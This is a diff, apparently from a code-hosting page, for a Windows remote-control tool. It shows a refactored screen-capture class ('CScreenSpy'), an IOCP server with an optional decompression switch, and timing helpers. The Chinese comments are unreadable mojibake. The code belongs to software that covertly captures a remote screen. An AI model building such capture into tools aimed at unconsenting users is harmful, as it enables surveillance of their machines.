// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||||
|
|||||||
@@ -15,15 +15,55 @@
|
|||||||
|
|
||||||
class CScreenSpy
|
class CScreenSpy
|
||||||
{
|
{
|
||||||
|
private:
|
||||||
|
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
|
ULONG m_ulbiBitCount; // ÿ<><C3BF><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
|
||||||
|
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||||
|
ULONG m_ulFullHeight; //<2F><>Ļ<EFBFBD><C4BB>
|
||||||
|
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
|
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
|
|
||||||
|
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||||
|
|
||||||
|
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
|
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||||
|
|
||||||
|
HDC m_hFullMemDC;
|
||||||
|
HBITMAP m_BitmapHandle;
|
||||||
|
PVOID m_BitmapData_Full;
|
||||||
|
|
||||||
|
HDC m_hDiffMemDC;
|
||||||
|
HBITMAP m_DiffBitmapHandle;
|
||||||
|
PVOID m_DiffBitmapData_Full;
|
||||||
|
|
||||||
|
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
BYTE* m_RectBuffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount);
|
CScreenSpy(ULONG ulbiBitCount);
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
ULONG GetBISize() const
|
int GetWidth()const {
|
||||||
{
|
return m_ulFullWidth;
|
||||||
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
|
}
|
||||||
|
|
||||||
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
|
int GetHeight() const {
|
||||||
|
return m_ulFullHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsZoomed() const {
|
||||||
|
return m_bZoomed;
|
||||||
|
}
|
||||||
|
|
||||||
|
double GetWZoom() const {
|
||||||
|
return m_wZoom;
|
||||||
|
}
|
||||||
|
|
||||||
|
double GetHZoom() const {
|
||||||
|
return m_hZoom;
|
||||||
}
|
}
|
||||||
|
|
||||||
const LPBITMAPINFO& GetBIData() const
|
const LPBITMAPINFO& GetBIData() const
|
||||||
@@ -31,45 +71,25 @@ public:
|
|||||||
return m_BitmapInfor_Full;
|
return m_BitmapInfor_Full;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG m_ulbiBitCount;
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full;
|
|
||||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
|
||||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
|
||||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
|
||||||
|
|
||||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
|
||||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
|
||||||
HDC m_hFullMemDC;
|
|
||||||
HBITMAP m_BitmapHandle;
|
|
||||||
PVOID m_BitmapData_Full;
|
|
||||||
DWORD m_dwBitBltRop;
|
|
||||||
LPVOID GetFirstScreenData();
|
|
||||||
|
|
||||||
ULONG GetFirstScreenLength() const
|
ULONG GetFirstScreenLength() const
|
||||||
{
|
{
|
||||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
||||||
BYTE* m_RectBuffer;
|
|
||||||
ULONG m_RectBufferOffset;
|
|
||||||
BYTE m_bAlgorithm;
|
|
||||||
|
|
||||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
|
|
||||||
{
|
{
|
||||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||||
m_RectBufferOffset += ulLength;
|
m_RectBufferOffset += ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
CCursorInfo m_CursorInfor;
|
LPVOID GetFirstScreenData();
|
||||||
HDC m_hDiffMemDC;
|
|
||||||
HBITMAP m_DiffBitmapHandle;
|
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||||
PVOID m_DiffBitmapData_Full;
|
|
||||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
|
||||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
|
||||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -6,6 +6,9 @@
|
|||||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||||
|
|
||||||
|
// ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD>㷨<EFBFBD><E3B7A8>Ҫ<EFBFBD><D2AA>server<65><72>stdafx.hƥ<68><C6A5>
|
||||||
|
#define USING_COMPRESS 1
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||||
#define USING_ZLIB 1
|
#define USING_ZLIB 1
|
||||||
|
|
||||||
@@ -57,19 +60,25 @@ class auto_tick
|
|||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
const char *func;
|
const char *func;
|
||||||
int threshold;
|
int span;
|
||||||
clock_t tick;
|
clock_t tick;
|
||||||
__inline clock_t now() const { return clock(); }
|
__inline clock_t now() const { return clock(); }
|
||||||
|
__inline int time() const { return now() - tick; }
|
||||||
|
|
||||||
public:
|
public:
|
||||||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||||
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
|
~auto_tick() { stop(); }
|
||||||
__inline int time() const { return now() - tick; }
|
|
||||||
|
__inline void stop() {
|
||||||
|
if (span != 0) { int s(this->time()); if (s > span)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
||||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||||
|
#define STOP_TICK TICK.stop()
|
||||||
#else
|
#else
|
||||||
#define AUTO_TICK(thresh)
|
#define AUTO_TICK(thresh)
|
||||||
|
#define STOP_TICK
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -410,6 +410,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
ShowWindow(SW_SHOW);
|
ShowWindow(SW_SHOW);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
timeBeginPeriod(1);
|
||||||
|
|
||||||
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -583,6 +585,7 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
delete m_iocpServer;
|
delete m_iocpServer;
|
||||||
m_iocpServer = NULL;
|
m_iocpServer = NULL;
|
||||||
}
|
}
|
||||||
|
timeEndPeriod(1);
|
||||||
CDialogEx::OnClose();
|
CDialogEx::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -312,20 +312,20 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
InterlockedIncrement(&This->m_ulCurrentThread);
|
InterlockedIncrement(&This->m_ulCurrentThread);
|
||||||
InterlockedIncrement(&This->m_ulBusyThread);
|
InterlockedIncrement(&This->m_ulBusyThread);
|
||||||
|
timeBeginPeriod(1);
|
||||||
while (This->m_bTimeToKill==FALSE)
|
while (This->m_bTimeToKill==FALSE)
|
||||||
{
|
{
|
||||||
InterlockedDecrement(&This->m_ulBusyThread);
|
AUTO_TICK(40);
|
||||||
|
InterlockedDecrement(&This->m_ulBusyThread);
|
||||||
|
// GetQueuedCompletionStatus<75><73>ʱ<EFBFBD>Ƚϳ<C8BD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¿ͻ<C2BF><CDBB>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>
|
||||||
BOOL bOk = GetQueuedCompletionStatus(
|
BOOL bOk = GetQueuedCompletionStatus(
|
||||||
hCompletionPort,
|
hCompletionPort,
|
||||||
&dwTrans,
|
&dwTrans,
|
||||||
(LPDWORD)&ContextObject,
|
(LPDWORD)&ContextObject,
|
||||||
&Overlapped,INFINITE);
|
&Overlapped, INFINITE);
|
||||||
|
STOP_TICK;
|
||||||
DWORD dwIOError = GetLastError();
|
DWORD dwIOError = GetLastError();
|
||||||
|
|
||||||
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
||||||
|
|
||||||
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
||||||
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
||||||
{
|
{
|
||||||
@@ -391,6 +391,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
|
timeEndPeriod(1);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
|
||||||
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||||
@@ -469,10 +470,15 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||||
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
#if USING_COMPRESS
|
||||||
|
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
||||||
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
#else
|
||||||
|
PBYTE DeCompressedBuffer = CompressedBuffer;
|
||||||
|
int iRet = 0;
|
||||||
|
#endif
|
||||||
if (Z_SUCCESS(iRet))
|
if (Z_SUCCESS(iRet))
|
||||||
{
|
{
|
||||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
@@ -482,11 +488,15 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
}else{
|
}else{
|
||||||
OutputDebugStringA("[ERROR] uncompress failed \n");
|
OutputDebugStringA("[ERROR] uncompress failed \n");
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
|
#if USING_COMPRESS // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
|
#endif
|
||||||
throw "Bad Buffer";
|
throw "Bad Buffer";
|
||||||
}
|
}
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
|
#if USING_COMPRESS // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
|
#endif
|
||||||
}else{
|
}else{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,9 @@
|
|||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
// ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD>㷨<EFBFBD><E3B7A8>Ҫ<EFBFBD><D2AA>clien<65><6E>stdafx.hƥ<68><C6A5>
|
||||||
|
#define USING_COMPRESS 1
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||||
#define USING_ZLIB 1
|
#define USING_ZLIB 1
|
||||||
|
|
||||||
@@ -234,19 +237,25 @@ class auto_tick
|
|||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
const char *func;
|
const char *func;
|
||||||
int threshold;
|
int span;
|
||||||
clock_t tick;
|
clock_t tick;
|
||||||
__inline clock_t now() const { return clock(); }
|
__inline clock_t now() const { return clock(); }
|
||||||
|
__inline int time() const { return now() - tick; }
|
||||||
|
|
||||||
public:
|
public:
|
||||||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||||
~auto_tick(){int s(this->time());if(s>threshold)TRACE("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
|
~auto_tick() { stop(); }
|
||||||
__inline int time() const { return now() - tick; }
|
|
||||||
|
__inline void stop() {
|
||||||
|
if (span != 0) { int s(this->time()); if (s > span)TRACE("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
||||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||||
|
#define STOP_TICK TICK.stop()
|
||||||
#else
|
#else
|
||||||
#define AUTO_TICK(thresh)
|
#define AUTO_TICK(thresh)
|
||||||
|
#define STOP_TICK
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
Reference in New Issue
Block a user